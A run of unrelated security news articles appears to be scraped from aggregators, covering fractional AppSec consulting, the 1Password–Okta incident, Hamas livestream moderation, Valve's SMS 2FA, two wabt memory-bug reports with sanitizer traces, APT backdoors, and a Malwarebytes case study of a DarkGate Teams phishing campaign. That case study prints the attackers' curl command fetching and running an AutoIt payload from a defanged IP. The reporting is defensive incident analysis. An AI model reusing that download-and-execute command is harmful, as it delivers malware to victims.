Zatik takes a fractional approach to AppSec leadership to help small firms access the expertise they need to build secure-by-design software.

One of the fundamental principles of secure-by-design software development is that organizations need to account for security concerns right out of the gate. It's built into the way the applications are designed, architected, and coded. The trouble for small companies that build software is that it can be really hard for them to access and pay for the kind of application security expertise necessary to fold that kind of accountability into the engineering or DevOps process. And so small companies build and ship their software — oftentimes innovative applications upon which their whole business model is based — without much consideration for security.

By the time a startup has "grown up" and built its business big enough to feasibly hire some application security professionals, secure-by-design has already gone out the window. The software stack has already accumulated a ton of security technical debt. That new AppSec team is behind the eight ball before they even start. And without expensive refactoring, oftentimes all they can do is bolt on security controls or apply Band-Aids to security problems that may run very deep.

It's an age-old problem, and one that's simply not practical to get all preachy about to small business owners or small dev teams.

"Experienced application security people are in short supply, and they're getting hoovered up by the big companies, by the Microsofts, Amazons, Apples, and Googles of the world, and if you are a smaller company, you're just not competing on that playing field," explains Kymberlee Price, who has led product security and AppSec teams, worked as a security researcher, and run red team and incident response operations for the likes of Microsoft, Amazon, and Bugcrowd.

Price has been around the block enough to recognize that not only are best-in-class product security pros and security-aware developers still the "unicorns" of the software engineering market, but also that most small businesses aren't big enough to even have enough work to keep one of them busy for very long.

"They don't need a unicorn full time. They need a unicorn maybe for a quarter to set some strategy, and then they need 10% of a unicorn for the rest of the year," she says.

**Sharing the Unicorns**

This is the underlying problem Price hopes to alleviate with her new consulting firm, Zatik. Together with co-founder Jon Callas, another security luminary known for founding PGP and Silent Circle, Price hopes to level the software security playing field for startups and small businesses. Zatik is a fractional security consulting firm that helps companies tap into that small percentage of unicorn-level AppSec expertise that they need to get a security program up and running. It's built in the same mold as a virtual CISO (vCISOs), with a slightly different focus.

"We love virtual CISOs. But they're frequently enterprise-focused and compliance-focused. And we're more looking at, how do you build your product securely by design, the DevOps pipeline, CI/CD, security controls, and things like that," Price explains. "So it's a really nice complement to that fractional model."

For some companies, if they're early enough in their arc, they may need the full package of building out an entire cybersecurity program — something she and Callas are equipped to help them navigate.

"Our sweet spot really is securing the developer experience, but we can help them look at their tech stack, make some recommendations, and make some introductions to other partners," says Price.

She says that she and Callas currently run the company themselves, but they plan on adding more staff as Zatik scales and also leaning on a network of partners to provide additional expertise in areas as necessary for their clients.

"I mean, I can't help you secure your product if you have no employee access control," Price says. "So we wouldn't turn our nose up at other areas."

Ultimately, the goal is to help smaller companies develop that security-by-design ethos from the outset. Price sees that not only as a great business opportunity, but a way to move the needle on security across the tech world.

"One of the things I love about the kind of small companies we're talking to is we're getting in early in their maturity cycle," she says. "So as they're growing, they're growing with a secure-by-design platform where the engineers they're hiring and managing understand that this is 'just how we do it.' Of course we have branch protection, of course we do these things because it was there from day one, versus the security team showing up later and demanding that they have to change things."

Do Small Companies Need Fractional AppSec Teams Akin to Virtual CISOs?

By Owais Sultan
Looking for a SaaS SEO consultant? We’ve rounded up the top 15 SaaS SEO experts you need to…
This is a post from HackRead.com Read the original post: 15 Best SaaS SEO Experts That Will Help You Dominate Online

15 Best SaaS SEO Experts That Will Help You Dominate Online

By Waqas
This incident is a perfect example of the phrase "one thing leading to another.
This is a post from HackRead.com Read the original post: 1Password Discloses Security Incident Linked to Okta Breach

On October 23, 2023, 1Password’s CTO, Pedro Canahuati, disclosed the incident, stating that threat actors were unable to access or steal user data during the attack.

On October 24, 2023, 1Password disclosed (PDF) a security incident that was linked to the recent breach of Okta’s support system. The incident occurred when a threat actor gained access to an IT employee’s Okta session token by leveraging access to a stolen credential and used it to access 1Password’s Okta administrative portal.

While 1Password says that no user data was accessed during the incident, the incident highlights the importance of strong security practices for both Okta customers and password managers.

The latest security breach at Okta serves as the second cyberattack on the company. In March 2022, LAPSUS$ hackers claimed to have breached Okta and Microsoft after leaking a trove of their data on Telegram.

****How the Okta Breach Impacted 1Password****

Okta is a popular identity and access management (IAM) platform that helps organizations manage user access to their applications. On October 20, 2023, Okta disclosed that threat actors had gained access to its support systems and stolen authentication data for some of its customers.

1Password is one of the customers that was impacted by the Okta breach. On September 29, 1Password detected suspicious activity on its Okta instance. After a thorough investigation, 1Password concluded that a threat actor had used a stolen session token to access 1Password’s Okta administrative portal

> _“Based on our initial assessment, we have no evidence that proves the actor accessed any systems outside of Okta. The activity that we saw suggested they conducted initial reconnaissance with the intent to remain undetected for the purpose of gathering information for a more sophisticated attack.”_
> 
> Pedro Canahuati – CTO 1Password’s

****What 1Password Is Doing to Mitigate the Impact of the Incident****

1Password has taken a number of steps to mitigate the impact of the incident, including:

*   Launching an investigation into the incident.
*   Terminating the threat actor’s session immediately.
*   Implementing stricter access controls for Okta users.

****What 1Password Users Can Do to Protect Their Accounts****

1Password users can take the following steps to protect their accounts:

*   Keep their 1Password app up to date.
*   Change their 1Password password regularly.
*   Use a strong, unique password for their 1Password account.
*   Enable two-factor authentication for their 1Password account.
*   Be careful about clicking on links in emails or messages from unknown senders.

****What This Incident Means for IAM and Password Management Security****

The 1Password incident highlights the importance of strong security practices for both IAM and password management platforms. IAM platforms like Okta need to implement robust security controls to protect their customers’ data. All Password managers need to implement multi-factor authentication and other security measures to protect their users’ passwords.

Organizations that use Okta or other IAM platforms should review their security policies and procedures to ensure that they are taking all necessary precautions to protect their data. Organizations that use password managers should also review their security settings and enable multi-factor authentication for all users.

****_RELATED ARTICLES_****

1.  GoTo’s LastPass Breach: Encrypted Customer Data Taken
2.  Fake Bitwarden Password Manager Website Drops Windows ZenRAT
3.  PasswordState password manager’s update hijacked to drop malware
4.  LastPass Employee PC Hacked with Keylogger to Access Password Vault
5.  Passwords by Kaspersky Password Manager exposed to brute-force attack

1Password Discloses Security Incident Linked to Okta Breach

Hamas has threatened to broadcast videos of hostage executions. With the war between Israel and Hamas poised to enter a new phase, are social platforms ready?

For the past decade, social media platforms have struggled to stop the spread of extremist violence livestreamed on their platforms. Now they face a much different problem: This time, they know what’s coming.

In the days after Hamas attacked Israel on October 7, the group’s military wing said it would kill an Israeli hostage every time Israel launched an attack on Gaza. Abu Obeida, a spokesperson for the al-Qassam Brigades, added that these executions would be broadcast “in audio and video.” As of today, Hamas is holding 220 people hostage, according to the Israel Defense Forces.

Amid the October 7 attack, one person livestreamed footage showing Hamas fighters murdering Israeli citizens—a clip of which was later shared by Donald Trump Jr. on X. And in the days after the attack, Hamas hijacked the accounts of those hostages on platforms like Facebook and Instagram to livestream attacks and issue death threats.

In response, tech companies appeared to take things seriously.

Meta launched a “special operations center” to track content on Facebook, Instagram, and Threads. TikTok activated its “command center.” X (formerly Twitter) mobilized its “cross-company leadership group.” YouTube activated its “intelligence desk.” And Reddit tells WIRED its “safety team” is on alert.

But when WIRED asked for specific details about how they are going to prevent bad actors from weaponizing the platforms’ livestreaming capabilities, none of the companies offered any specific details, instead pointing to their general online guidance about livestreaming policies, if they responded at all. For example, Meta directed WIRED to a 2019 blog post from chief information security officer Guy Rosen about how the company was planning to curb the use of its livestream products in the wake of the Christchurch massacre, during which a gunman killed 51 people at a mosque in New Zealand in March of that year.

Despite the press releases indicating all-hands-on-deck attention to the livestreaming problem, industry experts say social media companies are showing a lack of transparency and an unwillingness to take the measures needed to prevent execution videos from spreading on their platforms, such as suspending livestreaming capabilities completely during the Israel-Hamas war.

“Hamas’ threats to execute these people on livestreams is happening because it’s possible for them to broadcast it,” Imran Ahmed, the founder and CEO of Center for Countering Digital Hate, a nonprofit that tracks hate speech on social platforms, tells WIRED. “They’re doing this for the spectacle because it terrorizes us. If we took away their ability to generate that spectacle, would they be doing this? What comes first, the livestream or the execution?”

Ahmed alleges that the companies are failing to implement systems that automatically detect violent extremist content as effectively as they detect some other kinds of content. “If you have a snatch of copyrighted music in your video, their systems will detect it within a microsecond and take it down,” Ahmed says, adding that “the fundamental human rights of the victims of terrorist attacks” should carry as much urgency as the “property rights of music artists and entertainers.”

The lack of details about how social platforms plan to curb the use of livestreams is, in part, because they are concerned about giving away too much information, which may allow Hamas, Palestinian Islamic Jihad (PIJ), and other militant groups or their supporters to circumvent the measures that are in place, an employee of a major platform who was granted anonymity because they are not authorized to speak publicly claimed in a communication with WIRED.

Adam Hadley, founder and executive director of Tech Against Terrorism, a United Nations-affiliated nonprofit that tracks extremist activity online, tells WIRED that while maintaining secrecy around content moderation methods is important during a sensitive and volatile conflict, tech companies should be more transparent about how they work.

“There has to be some degree of caution in terms of sharing the details of how this material is discovered and analyzed,” Hadley says. “But I would hope there are ways of communicating this ethically that don’t tip off terrorists to detection methods, and we would always encourage platforms to be transparent about what they’re doing.”

The social media companies say their dedicated teams are working around the clock right now as they await the launch of Israel’s expected ground assault in Gaza, which Hadley believes could trigger a spate of hostage executions.

And yet, for all of the time, money, and resources these multibillion-dollar companies appear to be putting into tackling this potential crisis, they are still reliant on Tech Against Terrorism, a tiny nonprofit, to alert them when new content from Hamas or PIJ, another paramilitary group based in Gaza, is posted online.

Hadley says his team of 20 typically knows about new terrorist content before any of the big platforms. So far, while tracking verified content from Hamas’ military wing or the PIJ, Hadey says the volume of content on the major social platforms is “very low.”

“Examples that we can find on large platforms of that official content are in the thousands, so not a lot of examples, compared with significantly more on Telegram,” Hadley says. “We are sharing alerts to 60 platforms who have been implicated with \[Hamas\] and PIJ content to date, but very low volumes are present.”

Hamas is banned on Facebook, Instagram, YouTube, and TikTok, so it has typically not used these mainstream platforms to any great extent, though X said earlier this month that it had removed hundreds of Hamas-affiliated accounts. Instead, Hamas prefers to use Telegram.

“Because the use of Telegram is so widespread and simple, we will assume they will continue to do this because terrorists prioritize platforms they can use most easily,” Hadley says, “and why would they bother with anything other than Telegram?”

Meta, X, and YouTube collaborate to share information about what they are seeing on the platforms. Telegram does not take part in such partnerships. While it has blocked some channels in certain jurisdictions, Telegram has typically taken a hands-off approach to content moderation, meaning Hamas and related groups have been mostly free to post whatever content they like on its platform.

Telegram did not respond to WIRED’s questions about how it would deal with execution videos on its platform, nor did X or Twitch. Discord declined to provide an on-the-record comment.

While Hadley sees Telegram as the primary concern, mainstream platforms are still at risk of facilitating the spread of this content. Videos can easily be downloaded from Telegram and reposted on any other platform, which is where the mainstream social media networks face the challenge of stopping them.

When asked to provide more details about their efforts, Meta and TikTok directed WIRED to their policy pages outlining the work they are doing to prevent the spread of these videos. YouTube spokesperson Jack Malon tells WIRED that “our teams are working around the clock to monitor for harmful footage across languages and locales.” A Reddit spokesperson says the company has “dedicated teams with linguistic and subject-matter expertise actively monitoring the conflict and continuing to enforce Reddit’s Content Policy across the site.”

One of the key ways that tech companies try to keep violent extremist content from going viral on their platforms is by using what are known as hashing databases. When content from a terrorist organization is identified, it is “hashed” to create a unique identifier that can then be shared among all companies to automatically prevent that video or image from being reshared elsewhere.

The sharing of these hashes and communication around incidents like the Israel-Hamas war are coordinated by the Global Internet Forum to Counter Terrorism (GIFCT), a small team of experts whose mission is to stop tech platforms from being exploited by violent extremists. The group was founded in 2017 by Facebook, Microsoft, X (then Twitter), and YouTube as a way of centralizing and coordinating the sharing of information. Companies like Dropbox, Amazon, Pinterest, and Zoom also provide funding to the group.

GIFCT did not provide a spokesperson to answer WIRED’s questions, but a statement on the group’s website says it is “providing regular situational awareness across member companies and support in addressing content relating to this conflict that violates their platform policies.”

Even when mainstream platforms have access to a shared database of verified terrorist content and centralized communications with experts who are tracking this content closely, they still have a lot of work to do in order to prevent violent videos from spreading on their platforms.

“This will be a big litmus test for the mainstream platforms,” Hadley says. “We would expect their algorithmic systems to be able to detect the \[Hamas\] logo, for instance, and respond accordingly. So actually, we’re quietly confident that those platforms will be alright to handle it. And I would hope that they’ve been training their algorithms in anticipation of this, based on the very large amounts of existing content from \[Hamas and PIJ\]. But unfortunately, we have no insight into that at all.”

The Hamas Threat of Hostage Execution Videos Looms Large Over Social Media

Despite warnings that sending one-time passwords via text messages is a flawed security measure, companies continue to roll out the approach, especially in consumer-facing applications.

Following a spate of attacks targeting independent developers on its Steam game-distribution platform, game maker Valve last week said that it will require developers to provide their phone numbers so the company can use SMS for two-factor authentication (2FA) starting Oct. 24. 

"As part of a security update, any Steamworks account setting that builds live on the default/public branch of a released app will need to have a phone number associated with their account, so that Steam can text you a confirmation code before continuing," the company stated in its notification. "We also plan on adding this requirement for other Steamworks actions in the future."

But since SMS-based two-factor authentication can be circumvented by persistent attackers using a variety of methods, the move raises the question: Why are consumer-facing online services still making SMS the go-to second factor, both internally and for customers?

**SMS-Based 2FA: Not Really Secure**

Getting around SMS two-factor authentication has become a priority among attackers, and indeed, it has been defeated using everything from machine-in-the-middle attacks to social engineering — including, in the infamous Uber breach case, through 2FA fatigue attacks. 

In 2022, for example, a banking Trojan known as Xenomorph compromised more than 50,000 Android devices after the cybercriminal group behind the malware disguised it as a performance utility, according to Tony Anscombe, chief security evangelist for digital security firm ESET.

"In reality, it was stealing the user’s login credentials for banking, payment, social media, cryptocurrency and other apps that have valuable personal information," he says. "The malware abused more than 50 apps, including PayPal and Coinbase, and included the ability to intercept messages and notifications, giving the cybercriminal the ability to bypass two-factor authentication codes.

But even the low-tech approach of just walking into a cellular store (SIM-swapping) or finding a corrupt technician works well, says David Richardson, vice president of endpoint and threat intelligence at cloud security platform Lookout. All an attacker has to do is know the targeted individual's phone number to attack the channel.

"The whole system is basically built on an assumption of trust — I could walk into any store and easily cancel my contract and port my phone number ... to pretty much any carrier," he says. "Basically \[an attacker could\] take over any phone number and start to receive the phone calls and, most importantly in these cases, the SMS messages that are that are going to those to those numbers."

And cellphone numbers are some of the most commonly leaked information on the Internet. The recent compromises of MGM Resorts and Caesars Entertainment, for example, exposed millions of records of business professionals and individual consumers, including phone numbers, which could be used by attackers for further attacks. 

**2FA Is Better Than Nothing**

SMS-based 2FA persists in the face of the insecurity for the simple reason that it's a relatively painless security mechanism for end users: A company merely needs to know is the customer's phone number to text a one-time passcode for authentication. For consumer-facing companies, reducing friction is the name of the game.

At the same time, making attackers' jobs even just a little bit more difficult helps protect developers — and the players of their games.

"Any MFA is better than no MFA — like, vastly superior," Lookout's Richardson says. "You're 10 times harder to hack if you've got an SMS-based MFA, so ... you're way better off having some form of multifactor authentication versus no form of multifactor authentication."

An SMS code could have protected Benoît Freslon, the independent developer behind the game NanoWar: Cells VS Virus, for example. Freslon fell prey to a social engineering scam, apparently when cybercriminals posing as another developer sent him a direct message with malicious content, according to a statement posted on Steam's Community forums.

"I was hacked, all my social networks accounts including Discord and Steam were compromised ... \[t\]he hacker uploaded a malware with \[sic\] my account," a developer stated on Steam's forums. "Be careful when a friend ask you to test his game on private message on Discord. ... It was the most stressfull days \[sic\] of my indie developer life."

Valve removed the game from Steam on Aug. 25, a day after the group behind the hacks published the infected version from the developer's account. The game developer stressed that a safe version of the game has been available since Sept. 15, uploaded from a "totally clean machine."

**SMS: A Good First Step, but...**

Companies focused on consumers and worried that the additional friction posed by 2FA security could use app-based factors that are already widely adopted, such as Google's or Microsoft's authenticators, says ESET's Anscombe.

"Many consumer-focused companies already provide the option to use either Microsoft or Google authenticator apps, this reduces the barrier to adoption as consumers may already have these apps installed," he says. 

"An app is not subject to SIM cloning nor malware that uses the operating systems permissions system to read SMS messages," he says. "The app itself should be protected by a passkey or biometrics adding an additional layer of security."

Boosting security has become important for game companies, as users have more digital in-game assets stored in online accounts that cybercriminals aim to monetize, and while cheaters look to access other gamers' accounts to gain advantage. Steam expects to roll out more security measures in the future to better protect, not only the developers but its customers and reputation.

Valve's 2FA Mandate for Game Developers Shows SMS Stickiness

WebAssembly wabt 1.0.33 has an Out-of-Bound Memory Read in in DataSegment::IsValidRange(), which lead to segmentation fault.

**Environment**

OS               : Linux 5.10.16.3-microsoft-standard-WSL2 #1 SMP Fri Apr 2 22:23:49 UTC 2021 x86\_64 x86\_64 x86\_64 GNU/Linux
Commit           : 0e78c24fd231d5ee67ccd271bfa317faa963281c
Version          : 1.0.33 (git~1.0.33-35-gdddc03d3)
Clang Verison    : 12.0.1
Build            : mkdir build && cd build && export CC=clang CXX=clang++ CFLAGS="\-fsanitize=address -g" CXXFLAGS="\-fsanitize=address -g" && cmake .. && cmake --build .
Affected Tool    : wasm-interp
Enabled Features : None
Impact           : Out-of-Bound Memory Read Access

**Proof of Concept**

poc-wasm-interp-01.zip

**Stack Trace Provide By AddressSanitizer**

$  ~/wabt\_asan/bin/wasm-interp poc.wasm
AddressSanitizer:DEADLYSIGNAL
=================================================================
==3549==ERROR: AddressSanitizer: SEGV on unknown address 0x000000000008 (pc 0x00000064a0fe bp 0x7ffcceb61670 sp 0x7ffcceb61640 T0)
==3549==The signal is caused by a READ memory access.
==3549==Hint: address points to the zero page.
    #0 0x64a0fe in wabt::interp::DataSegment::IsValidRange(unsigned long, unsigned long) const /home/lain/wabt\_asan/src/interp/interp.cc:734:19
    #1 0x649cd7 in wabt::interp::Memory::Init(unsigned long, wabt::interp::DataSegment const&, unsigned long, unsigned long) /home/lain/wabt\_asan/src/interp/interp.cc:617:11
    #2 0x666cb4 in wabt::interp::Thread::DoMemoryInit(wabt::interp::Instr, wabt::interp::RefPtr<wabt::interp::Trap>\*) /home/lain/wabt\_asan/src/interp/interp.cc:2075:3
    #3 0x65b199 in wabt::interp::Thread::StepInternal(wabt::interp::RefPtr<wabt::interp::Trap>\*) /home/lain/wabt\_asan/src/interp/interp.cc:1510:32
    #4 0x65352b in wabt::interp::Thread::Run(int, wabt::interp::RefPtr<wabt::interp::Trap>\*) /home/lain/wabt\_asan/src/interp/interp.cc:1086:19
    #5 0x645a70 in wabt::interp::Thread::Run(wabt::interp::RefPtr<wabt::interp::Trap>\*) /home/lain/wabt\_asan/src/interp/interp.cc:1078:14
    #6 0x644caf in wabt::interp::DefinedFunc::DoCall(wabt::interp::Thread&, std::vector<wabt::interp::Value, std::allocator<wabt::interp::Value> > const&, std::vector<wabt::interp::Value, std::allocator<wabt::interp::Value> >&, wabt::interp::RefPtr<wabt::interp::Trap>\*) /home/lain/wabt\_asan/src/interp/interp.cc:428:19
    #7 0x64417d in wabt::interp::Func::Call(wabt::interp::Store&, std::vector<wabt::interp::Value, std::allocator<wabt::interp::Value> > const&, std::vector<wabt::interp::Value, std::allocator<wabt::interp::Value> >&, wabt::interp::RefPtr<wabt::interp::Trap>\*, wabt::Stream\*) /home/lain/wabt\_asan/src/interp/interp.cc:394:10
    #8 0x6512e6 in wabt::interp::Instance::Instantiate(wabt::interp::Store&, wabt::interp::Ref, std::vector<wabt::interp::Ref, std::allocator<wabt::interp::Ref> > const&, wabt::interp::RefPtr<wabt::interp::Trap>\*) /home/lain/wabt\_asan/src/interp/interp.cc:944:22
    #9 0x5693e5 in InstantiateModule(std::vector<wabt::interp::Ref, std::allocator<wabt::interp::Ref> >&, wabt::interp::RefPtr<wabt::interp::Module> const&, wabt::interp::RefPtr<wabt::interp::Instance>\*) /home/lain/wabt\_asan/src/tools/wasm-interp.cc:340:19
    #10 0x562e82 in ReadAndRunModule(char const\*) /home/lain/wabt\_asan/src/tools/wasm-interp.cc:423:3
    #11 0x561f67 in ProgramMain(int, char\*\*) /home/lain/wabt\_asan/src/tools/wasm-interp.cc:450:25
    #12 0x563191 in main /home/lain/wabt\_asan/src/tools/wasm-interp.cc:456:10
    #13 0x7f9f8fa00082 in \_\_libc\_start\_main /build/glibc-SzIz7B/glibc-2.31/csu/../csu/libc-start.c:308:16
    #14 0x4845ed in \_start (/home/lain/wabt\_asan/bin/wasm-interp+0x4845ed)

AddressSanitizer can not provide additional info.
SUMMARY: AddressSanitizer: SEGV /home/lain/wabt\_asan/src/interp/interp.cc:734:19 in wabt::interp::DataSegment::IsValidRange(unsigned long, unsigned long) const
==3549==ABORTING

CVE-2023-46331: Out-of-Bound Memory Read in DataSegment::IsValidRange() · Issue #2310 · WebAssembly/wabt

WebAssembly wabt 1.0.33 contains an Out-of-Bound Memory Write in DataSegment::Drop(), which lead to segmentation fault.

**Environment**

OS               : Linux 5.10.16.3-microsoft-standard-WSL2 #1 SMP Fri Apr 2 22:23:49 UTC 2021 x86\_64 x86\_64 x86\_64 GNU/Linux
Commit           : 0e78c24fd231d5ee67ccd271bfa317faa963281c
Version          : 1.0.33 (git~1.0.33-35-gdddc03d3)
Clang Verison    : 12.0.1
Build            : mkdir build && cd build && export CC=clang CXX=clang++ CFLAGS="\-fsanitize=address -g" CXXFLAGS="\-fsanitize=address -g" && cmake .. && cmake --build .
Affected Tool    : wasm-interp
Enabled Features : None
Impact           : Out-of-Bound Memory Write Access

**Proof of Concept**

poc-wasm-interp-02.zip

**Stack Trace Provide By AddressSanitizer**

$  ~/wabt\_asan/bin/wasm-interp poc.wasm
AddressSanitizer:DEADLYSIGNAL
=================================================================
==3641==ERROR: AddressSanitizer: SEGV on unknown address 0x000000000008 (pc 0x00000067f426 bp 0x7ffd04e28310 sp 0x7ffd04e28300 T0)
==3641==The signal is caused by a WRITE memory access.
==3641==Hint: address points to the zero page.
    #0 0x67f426 in wabt::interp::DataSegment::Drop() /home/lain/wabt\_asan/include/wabt/interp/interp-inl.h:906:9
    #1 0x6670be in wabt::interp::Thread::DoDataDrop(wabt::interp::Instr) /home/lain/wabt\_asan/src/interp/interp.cc:2081:33
    #2 0x65b29a in wabt::interp::Thread::StepInternal(wabt::interp::RefPtr<wabt::interp::Trap>\*) /home/lain/wabt\_asan/src/interp/interp.cc:1511:32
    #3 0x65352b in wabt::interp::Thread::Run(int, wabt::interp::RefPtr<wabt::interp::Trap>\*) /home/lain/wabt\_asan/src/interp/interp.cc:1086:19
    #4 0x645a70 in wabt::interp::Thread::Run(wabt::interp::RefPtr<wabt::interp::Trap>\*) /home/lain/wabt\_asan/src/interp/interp.cc:1078:14
    #5 0x644caf in wabt::interp::DefinedFunc::DoCall(wabt::interp::Thread&, std::vector<wabt::interp::Value, std::allocator<wabt::interp::Value> > const&, std::vector<wabt::interp::Value, std::allocator<wabt::interp::Value> >&, wabt::interp::RefPtr<wabt::interp::Trap>\*) /home/lain/wabt\_asan/src/interp/interp.cc:428:19
    #6 0x64417d in wabt::interp::Func::Call(wabt::interp::Store&, std::vector<wabt::interp::Value, std::allocator<wabt::interp::Value> > const&, std::vector<wabt::interp::Value, std::allocator<wabt::interp::Value> >&, wabt::interp::RefPtr<wabt::interp::Trap>\*, wabt::Stream\*) /home/lain/wabt\_asan/src/interp/interp.cc:394:10
    #7 0x6512e6 in wabt::interp::Instance::Instantiate(wabt::interp::Store&, wabt::interp::Ref, std::vector<wabt::interp::Ref, std::allocator<wabt::interp::Ref> > const&, wabt::interp::RefPtr<wabt::interp::Trap>\*) /home/lain/wabt\_asan/src/interp/interp.cc:944:22
    #8 0x5693e5 in InstantiateModule(std::vector<wabt::interp::Ref, std::allocator<wabt::interp::Ref> >&, wabt::interp::RefPtr<wabt::interp::Module> const&, wabt::interp::RefPtr<wabt::interp::Instance>\*) /home/lain/wabt\_asan/src/tools/wasm-interp.cc:340:19
    #9 0x562e82 in ReadAndRunModule(char const\*) /home/lain/wabt\_asan/src/tools/wasm-interp.cc:423:3
    #10 0x561f67 in ProgramMain(int, char\*\*) /home/lain/wabt\_asan/src/tools/wasm-interp.cc:450:25
    #11 0x563191 in main /home/lain/wabt\_asan/src/tools/wasm-interp.cc:456:10
    #12 0x7f77c7bdc082 in \_\_libc\_start\_main /build/glibc-SzIz7B/glibc-2.31/csu/../csu/libc-start.c:308:16
    #13 0x4845ed in \_start (/home/lain/wabt\_asan/bin/wasm-interp+0x4845ed)

AddressSanitizer can not provide additional info.
SUMMARY: AddressSanitizer: SEGV /home/lain/wabt\_asan/include/wabt/interp/interp-inl.h:906:9 in wabt::interp::DataSegment::Drop()
==3641==ABORTING

CVE-2023-46332: Out-of-Bound Memory Write in DataSegment::Drop() · Issue #2311 · WebAssembly/wabt

The threat actor known as DoNot Team has been linked to the use of a novel .NET-based backdoor called Firebird targeting a handful of victims in Pakistan and Afghanistan.
Cybersecurity company Kaspersky, which disclosed the findings in its APT trends report Q3 2023, said the attack chains are also configured to deliver a downloader named CSVtyrei, so named for its resemblance to Vtyrei.
"Some

Cyber Espionage / Malware

The threat actor known as DoNot Team has been linked to the use of a novel .NET-based backdoor called **Firebird** targeting a handful of victims in Pakistan and Afghanistan.

Cybersecurity company Kaspersky, which disclosed the findings in its APT trends report Q3 2023, said the attack chains are also configured to deliver a downloader named CSVtyrei, so named for its resemblance to Vtyrei.

"Some code within the examples appeared non-functional, hinting at ongoing development efforts," the Russian firm said.

Vtyrei (aka BREEZESUGAR) refers to a first-stage payload and downloader strain previously harnessed by the adversary to deliver a malware framework known as **RTY**.

DoNot Team, also known by the names APT-C-35, Origami Elephant, and SECTOR02, is suspected to be of Indian origin, with its attacks employing spear-phishing emails and rogue Android apps to propagate malware.

The latest assessment from Kaspersky builds on an analysis of the threat actor's twin attack sequences in April 2023 to deploy the Agent K11 and RTY frameworks.

The disclosure also follows Zscaler ThreatLabz's uncovering of new malicious activity carried out by the Pakistan-based Transparent Tribe (aka APT36) actor targeting Indian government sectors using an updated malware arsenal that comprises a previously undocumented Windows trojan dubbed ElizaRAT.

"ElizaRAT is delivered as a .NET binary and establishes a C2 communication channel via Telegram, enabling threat actors to exert complete control over the targeted endpoint," security researcher Sudeep Singh noted last month.

Active since 2013, Transparent Tribe has utilized credential harvesting and malware distribution attacks, often distributing trojanized installers of Indian government applications like Kavach multi-factor authentication and weaponizing open-source command-and-control (C2) frameworks such as Mythic.

In a sign that the hacking crew has also set its eyes on Linux systems, Zscaler said it identified a small set of desktop entry files that pave the way for the execution of Python-based ELF binaries, including GLOBSHELL for file exfiltration and PYSHELLFOX for stealing session data from the Mozilla Firefox browser.

"Linux-based operating systems are widely used in the Indian government sector," Singh said, adding the targeting of the Linux environment is also likely motivated by India's decision to replace Microsoft Windows OS with Maya OS, a Debian Linux-based operating system, across government and defense sectors.

Joining DoNot Team and Transparent Tribe is another nation-state actor from the Asia-Pacific region with a focus on Pakistan.

Codenamed Mysterious Elephant (aka APT-K-47), the hacking group has been attributed to a spear-phishing campaign that drops a novel backdoor called ORPCBackdoor that's capable of executing files and commands on the victim's computer, and receive files or commands from a malicious server.

According to the Knownsec 404 Team, APT-K-47 shares tooling and targeting overlaps with that of other actors such as SideWinder, Patchwork, Confucius, and Bitter, most of which are assessed to be aligned with India.

Found this article interesting? Follow us on Twitter __ and LinkedIn to read more exclusive content we post.

DoNot Team's New Firebird Backdoor Hits Pakistan and Afghanistan

Categories: Business
On September 13th, 2023, the Malwarebytes MDR team spotted a new DarkGate malware campaign on a client network.  



(Read more...)




The post Battling a new DarkGate malware campaign with Malwarebytes MDR  appeared first on Malwarebytes Labs.

First publicly reported in 2018, DarkGate is a Windows-based malware with a wide-range of capabilities including credential stealing and remote access to victim endpoints. Until recently, it was only seen being delivered through traditional email malspam campaigns. In late August 2023, however, researchers at Trusec found evidence of a campaign using external Teams messages to deliver the DarkGate Loader.

On September 13th, 2023, the Malwarebytes MDR team spotted the same campaign on a client network.

**The Initial Incident**

The threat began as a phishing attempt via Microsoft Teams. The attackers sent a malicious ZIP file named "**C\_onfidential Sign\_ificant Company Changes.zip**" (the names may vary in different iterations of the attack).

Phishing message sent to targets via Microsoft Teams in the same DarkGate campaign. Image: Truesec

A number of employees clicked on this file believing it to be legitimate. Inside this ZIP file, however, were several malicious shortcut files, or LNK files, that were disguised as PDF documents.

The names of these LNK files included "**EMPLOYEES\_AFFECTED\_BY\_TRANSITION.PDF.LNK"** and "**COMPANY\_TRANSFORMATIONS.PDF.LNK**".

**The Malicious Command**

When employees clicked on these shortcuts, it triggered a malicious command line. Its purpose? To download and run a harmful script from a remote IP address. Fortunately, Malwarebytes EDR recognized this IP as a 'Known bad' destination and blocked it.

Multiple attempts to execute processes such as curl commands

**DarkGate Loader - The Culprit**

As the MDR team delved deeper into the incident, they discovered that this was not a random attack. It was connected to a known malware attack campaign using Teams phishing to install DarkGate Loader. The use of the curl command is to fetch and deposit malicious files onto the victim's machine:

"C:\\Windows\\System32\\cmd.exe" /k curl -# -o

"C:\\Users\\\[Redacted\]\\AppData\\Local\\Temp\\Autoit3.exe" "

http://5\[.\]188\[.\]87\[.\]58:2351" -o

"C:\\Users\\\[Redacted\]AppData\\Local\\Temp\\btbgvbyy.au3"

"http://5\[.\]188\[.\]87\[.\]58:2351/msibtbgvbyy" "C:\\Users\\\[Redacted\]\\AppData\\Local\\Temp\\Autoit3.exe"

"C:\\Users\\\[Redacted\]\\AppData\\Local\\Temp\\btbgvbyy.au3" & exit

The malicious command attempts to run an AutoIt script (**btbgvbyy.au3**). Director of Threat Intelligence Jerome Segura notes the use of AutoIt, a legitimate scripting language, was already present in the very early versions of DarkGate.

Malwarebytes EDR recognizing suspicious AutoIt activity

Infected system exhibiting Indicators of Compromise (IOCs)

Recognizing the gravity of the situation, the team began collecting Indicators of Compromise (IOCs). This included hashes of the ZIP file, its contents, and samples of the malevolent script initiated by the shortcuts.

**Actions Taken**

Swift action was taken by isolating the affected machines. Although Malwarebytes EDR had already blocked the malicious IP, the MDR team took extra precautions, ensuring that no persistence mechanisms were present on the endpoints, which could have given attackers a backdoor to the system.

The MDR team also suggested blocking the download of files from external accounts in Microsoft Teams, which was the primary attack vector in this campaign.

**Lessons from the Incident**

By using a combination of evasion techniques, the threat actors behind these campaigns are able to distribute DarkGate with a minimal system footprint. If the infection had continued, the company could have faced potential data breaches, operational disruptions, financial losses, and more.

Fortunately, the collaborative efforts of Malwarebytes MDR, EDR, and the customer successfully mitigated the DarkGate malware and safeguarded the customer’s digital environment against possible reinfection.

Learn more about how Malwarebytes MDR today can help secure your organization: https://try.malwarebytes.com/mdr-consultation-new/

Get a Malwarebytes MDR quote

Read other front-line stories about how Malwarebytes MDR analysts do threat hunting on customer networks:

Tracking down a trojan: An inside look at threat hunting in a corporate network

Understanding ransomware reinfection: An MDR case study

**Indicators of Compromise (IoC)****File Details:**

